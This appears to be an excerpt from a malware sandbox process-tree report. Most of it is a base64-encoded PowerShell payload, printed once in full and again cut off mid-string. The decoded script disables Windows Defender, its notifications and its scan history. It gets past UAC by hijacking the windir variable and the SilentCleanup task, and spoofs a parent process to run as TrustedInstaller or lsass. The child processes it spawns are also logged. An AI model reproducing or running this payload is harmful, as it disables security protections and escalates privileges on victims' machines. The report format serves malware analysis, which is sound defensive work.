                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                                                      10⤵
                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                      PID:4824
                                                      • C:\Windows\system32\sc.exe
                                                        "C:\Windows\system32\sc.exe" qc windefend
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:8868
                                                      • C:\Windows\system32\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                        11⤵
                                                          PID:8976
                                                        • C:\Windows\system32\whoami.exe
                                                          "C:\Windows\system32\whoami.exe" /groups
                                                          11⤵
                                                            PID:9268
                                                          • C:\Windows\system32\net1.exe
                                                            "C:\Windows\system32\net1.exe" start TrustedInstaller
                                                            11⤵
                                                              PID:9548
                                                            • C:\Windows\system32\net1.exe
                                                              "C:\Windows\system32\net1.exe" start lsass
                                                              11⤵
                                                                PID:10228
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAH